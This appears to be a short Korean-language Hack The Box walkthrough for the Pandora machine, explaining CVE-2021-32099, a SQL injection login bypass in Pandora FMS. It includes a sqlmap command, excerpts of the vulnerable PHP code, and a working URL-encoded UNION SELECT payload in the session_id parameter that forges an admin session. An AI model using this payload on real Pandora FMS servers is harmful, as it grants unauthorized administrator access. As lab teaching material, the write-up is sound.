
CVE-2021-32099 SQL 인젝션으로 공격자가 로그인을 우회할 수 있습니다. HTB에서 보내는 사랑을 담아
Pandora.htb에서 User Flag를 읽으려고 할 때 유용합니다.
CVE-2021-32099 SQLi는 공격자가 로그인을 우회할 수 있게 합니다.
공격 대상: Pandora FMS v7.0NG.742_FIX_PERL2020
cvedetail에서 읽어보세요. 대상 엔드포인트를 알고 있습니다: http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere => Access denied.
sqlmap -r req.txt -p session_id --dbms=mysql --dbs --risk=3 --level=5
열거 후, 우리는 tsessions_php 테이블에만 집중합니다. tsessions_php에는 3개의 컬럼이 있습니다: id_session, last_active, data. (sqlmap의 결과 형식이 잘못됨)

/include/chart_generator.php
71 // Try to initialize session using existing php session id.
72 $user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);
73 if (check_login(false) === false) {
74 // Error handler.
⋮
96 }
97
98 // Access granted.
/include/lib/User.php
60 public function __construct($data)
61 {
⋮
68 if (is_array($data) === true) {
69 if (isset($data['phpsessionid']) === true) {
70 $this->sessions[$data['phpsessionid']] = 1;
71 $info = \db_get_row_filter(
72 'tsessions_php',
73 ['id_session' => $data['phpsessionid']]
74 );
75
76 if ($info !== false) {
77 // Process.
78 $session_data = session_decode($info['data']);
79 $this->idUser = $_SESSION['id_usuario'];
80
81 // Valid session.
82 return $this;
83 }
select * from tsessions_php where id_session=***PayloadHere***/include/lib/db/mysql.php
848 function db_get_row_filter($table, $filter, $fields=false)
849 {
850 if (empty($fields)) {
851 $fields = '*';
852 }
⋮
861 $filter = db_format_array_where_clause_sql($filter, ' WHERE ');
⋮
868 $sql = sprintf('SELECT %s FROM %s %s', $fields, $table, $filter);
http://localhost:8000/pandora_console/include/chart_generator.php?session_id=PayloadHere%27%20union%20select%20%271%27,%272%27,%27id_usuario|s:5:%22admin%22;%27%20--%20a => Pandora FMS Graph ( - )
새로고침: http://localhost:8000/pandora_console/ 웹페이지에 접속합니다.